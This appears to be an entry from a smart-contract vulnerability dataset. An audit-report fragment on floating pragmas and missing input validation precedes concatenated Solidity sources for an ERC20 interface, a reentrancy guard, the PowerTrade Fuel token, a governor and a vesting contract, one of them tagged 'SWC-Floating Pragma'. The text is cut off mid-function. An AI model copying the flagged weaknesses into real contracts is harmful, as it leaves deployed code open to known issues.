[#L35,L43,L55,L68,L78,L89] 2.b Fix: It’s recommended to undertake further validation prior to user-supplied data. The concerns can be resolved by utilizing a whitelist technique or a modifier. Moderate Issues 3.a Problem: Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. [#L35,L43,L55,L68,L78,L89] 3.b Fix: Here all the in-scope contracts have an unlocked prag
pragma solidity ^0.5.16; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }pragma solidity ^0.5.0; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol // Subject to the MIT license. /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { // counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } }//SWC-Floating Pragma: L2 pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. contract FuelToken { /// @notice EIP-20 token name for this token string public constant name = "PowerTrade Fuel Token"; /// @notice EIP-20 token symbol for this token string public constant symbol = "PTF"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply; /// @notice Minter address address public minter; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /// @notice An event thats emitted when the minter is changed event NewMinter(address minter); modifier onlyMinter { require(msg.sender == minter, "FuelToken:onlyMinter: should only be called by minter"); _; } /** * @notice Construct a new Fuel token * @param initialSupply The initial supply minted at deployment * @param account The initial account to grant all the tokens */ constructor(uint initialSupply, address account, address _minter) public { totalSupply = safe96(initialSupply, "FuelToken::constructor:amount exceeds 96 bits"); balances[account] = uint96(initialSupply); minter = _minter; emit Transfer(address(0), account, initialSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "FuelToken::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Mint `amount` tokens to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to mint * @notice only callable by minter */ function mint(address dst, uint rawAmount) external onlyMinter { uint96 amount = safe96(rawAmount, "FuelToken::mint: amount exceeds 96 bits"); _mintTokens(dst, amount); } /** * @notice Burn `amount` tokens * @param rawAmount The number of tokens to burn */ function burn(uint rawAmount) external { uint96 amount = safe96(rawAmount, "FuelToken::burn: amount exceeds 96 bits"); _burnTokens(msg.sender, amount); } /** * @notice Change minter address to `account` * @param account The address of the new minter * @notice only callable by minter */ function changeMinter(address account) external onlyMinter { minter = account; emit NewMinter(account); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "FuelToken::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "FuelToken::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "FuelToken::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "FuelToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "FuelToken::delegateBySig: invalid nonce"); require(now <= expiry, "FuelToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "FuelToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "FuelToken::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "FuelToken::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "FuelToken::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "FuelToken::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _mintTokens(address dst, uint96 amount) internal { require(dst != address(0), "FuelToken::_mintTokens: cannot transfer to the zero address"); uint96 supply = safe96(totalSupply, "FuelToken::_mintTokens: totalSupply exceeds 96 bits"); totalSupply = add96(supply, amount, "FuelToken::_mintTokens: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "FuelToken::_mintTokens: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); } function _burnTokens(address src, uint96 amount) internal { uint96 supply = safe96(totalSupply, "FuelToken::_burnTokens: totalSupply exceeds 96 bits"); totalSupply = sub96(supply, amount, "FuelToken::_burnTokens:totalSupply underflow"); balances[src] = sub96(balances[src], amount, "FuelToken::_burnTokens: amount overflows"); emit Transfer(src, address(0), amount); _moveDelegates(delegates[src], address(0), amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "FuelToken::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "FuelToken::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "FuelToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. contract Governor { /// @notice The name of this contract string public constant name = "PowerTrade Fuel Token Governor"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed uint public quorumVotes; /// @notice The number of votes required in order for a voter to become a proposer uint public proposalThreshold; /// @notice The maximum number of actions that can be included in a proposal uint public proposalMaxOperations = 20; /// @notice The delay before voting on a proposal may take place, once proposed uint public votingDelay; /// @notice The duration of voting on a proposal, in blocks uint public votingPeriod; /// @notice The address of the Timelock contract TimelockInterface public timelock; /// @notice The address of the FuelToken contract FuelTokenInterface public fuel; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address fuel_, address guardian_, uint quorumVotes_, uint proposalThreshold_, uint votingPeriodBlocks_, uint votingDelayBlocks_) public { timelock = TimelockInterface(timelock_); fuel = FuelTokenInterface(fuel_); guardian = guardian_; quorumVotes = quorumVotes_; proposalThreshold = proposalThreshold_; votingPeriod = votingPeriodBlocks_; votingDelay = votingDelayBlocks_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(fuel.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "Governor::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "Governor::propose: proposal function information arity mismatch"); require(targets.length != 0, "Governor::propose: must provide actions"); require(targets.length <= proposalMaxOperations, "Governor::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "Governor::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "Governor::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay); uint endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "Governor::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "Governor::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "Governor::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "Governor::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || fuel.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "Governor::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "Governor::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.gracePeriod())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Governor::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "Governor::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "Governor::_castVote: voter already voted"); uint96 votes = fuel.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "Governor::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "Governor::__abdicate: sender must be gov guardian"); guardian = address(0); } function __moveGuardianship(address _guardian) public { require(msg.sender == guardian, "Governor::__moveGuardianship: sender must be gov guardian"); require(_guardian != address(0), "Governor::__moveGuardianship: new guardian cannot be address zero"); guardian = _guardian; } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function gracePeriod() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface FuelTokenInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }pragma solidity ^0.5.16; import "./SafeMath.sol"; import "./ReentrancyGuard.sol"; import "./IERC20.sol"; /// @author BlockRocket contract VestingContractWithoutDelegation is ReentrancyGuard { using SafeMath for uint256; /// @notice event emitted when a vesting schedule is created event ScheduleCreated(address indexed _beneficiary); /// @notice event emitted when a successful drawn down of vesting tokens is made event DrawDown(address indexed _beneficiary, uint256 indexed _amount); /// @notice start of vesting period as a timestamp uint256 public start; /// @notice end of vesting period as a timestamp uint256 public end; /// @notice cliff duration in seconds uint256 public cliffDuration; /// @notice owner address set on construction address public owner; /// @notice amount vested for a beneficiary. Note beneficiary address can not be reused mapping(address => uint256) public vestedAmount; /// @notice cumulative total of tokens drawn down (and transferred from the deposit account) per beneficiary mapping(address => uint256) public totalDrawn; /// @notice last drawn down time (seconds) per beneficiary mapping(address => uint256) public lastDrawnAt; /// @notice ERC20 token we are vesting IERC20 public token; /** * @notice Construct a new vesting contract * @param _token ERC20 token * @param _start start timestamp * @param _end end timestamp * @param _cliffDurationInSecs cliff duration in seconds * @dev caller on constructor set as owner; this can not be changed */ constructor(IERC20 _token, uint256 _start, uint256 _end, uint256 _cliffDurationInSecs) public { require(address(_token) != address(0), "VestingContract::constructor: Invalid token"); require(_end >= _start, "VestingContract::constructor: Start must be before end"); token = _token; owner = msg.sender; start = _start; end = _end; cliffDuration = _cliffDurationInSecs; } /** * @notice Create new vesting schedules in a batch * @notice A transfer is used to bring tokens into the VestingDepositAccount so pre-approval is required * @param _beneficiaries array of beneficiaries of the vested tokens * @param _amounts array of amount of tokens (in wei) * @dev array index of address should be the same as the array index of the amount */ function createVestingSchedules( address[] calldata _beneficiaries, uint256[] calldata _amounts ) external returns (bool) { require(msg.sender == owner, "VestingContract::createVestingSchedules: Only Owner"); require(_beneficiaries.length > 0, "VestingContract::createVestingSchedules: Empty Data"); require( _beneficiaries.length == _amounts.length, "VestingContract::createVestingSchedules: Array lengths do not match" ); bool result = true; for(uint i = 0; i < _beneficiaries.length; i++) { address beneficiary = _beneficiaries[i]; uint256 amount = _amounts[i]; _createVestingSchedule(beneficiary, amount); } return result; } /** * @notice Create a new vesting schedule * @notice A transfer is used to bring tokens into the VestingDepositAccount so pre-approval is required * @param _beneficiary beneficiary of the vested tokens * @param _amount amount of tokens (in wei) */ function createVestingSchedule(address _beneficiary, uint256 _amount) external returns (bool) { require(msg.sender == owner, "VestingContract::createVestingSchedule: Only Owner"); return _createVestingSchedule(_beneficiary, _amount); } /** * @notice Draws down any vested tokens due * @dev Must be called directly by the beneficiary assigned the tokens in the schedule */ function drawDown() nonReentrant external returns (bool) { return _drawDown(msg.sender); } // Accessors /** * @notice Vested token balance for a beneficiary * @dev Must be called directly by the beneficiary assigned the tokens in the schedule * @return _tokenBalance total balance proxied via the ERC20 token */ function tokenBalance() external view returns (uint256) { return token.balanceOf(address(this)); } /** * @notice Vesting schedule and associated data for a beneficiary * @dev Must be called directly by the beneficiary assigned the tokens in the schedule * @return _amount * @return _totalDrawn * @return _lastDrawnAt * @return _remainingBalance */ function vestingScheduleForBeneficiary(address _beneficiary) external view returns (uint256 _amount, uint256 _totalDrawn, uint256 _lastDrawnAt, uint256 _remainingBalance) { return ( vestedAmount[_beneficiary], totalDrawn[_beneficiary], lastDrawnAt[_beneficiary], vestedAmount[_beneficiary].sub(totalDrawn[_beneficiary]) ); } /** * @notice Draw down amount currently available (based on the block timestamp) * @param _beneficiary beneficiary of the vested tokens * @return _amount tokens due from vesting schedule */ function availableDrawDownAmount(address _beneficiary) external view returns (uint256 _amount) { return _availableDrawDownAmount(_beneficiary); } /** * @notice Balance remaining in vesting schedule * @param _beneficiary beneficiary of the vested tokens * @return _remainingBalance tokens still due (and currently locked) from vesting schedule */ function remainingBalance(address _beneficiary) external view returns (uint256) { return vestedAmount[_beneficiary].sub(totalDrawn[_beneficiary]); } // Internal function _createVestingSchedule(address _beneficiary, uint256 _amount) internal returns (bool) { require(_beneficiary != address(0), "VestingContract::createVestingSchedule: Beneficiary cannot be empty"); require(_amount > 0, "VestingContract::createVestingSchedule: Amount cannot be empty"); // Ensure 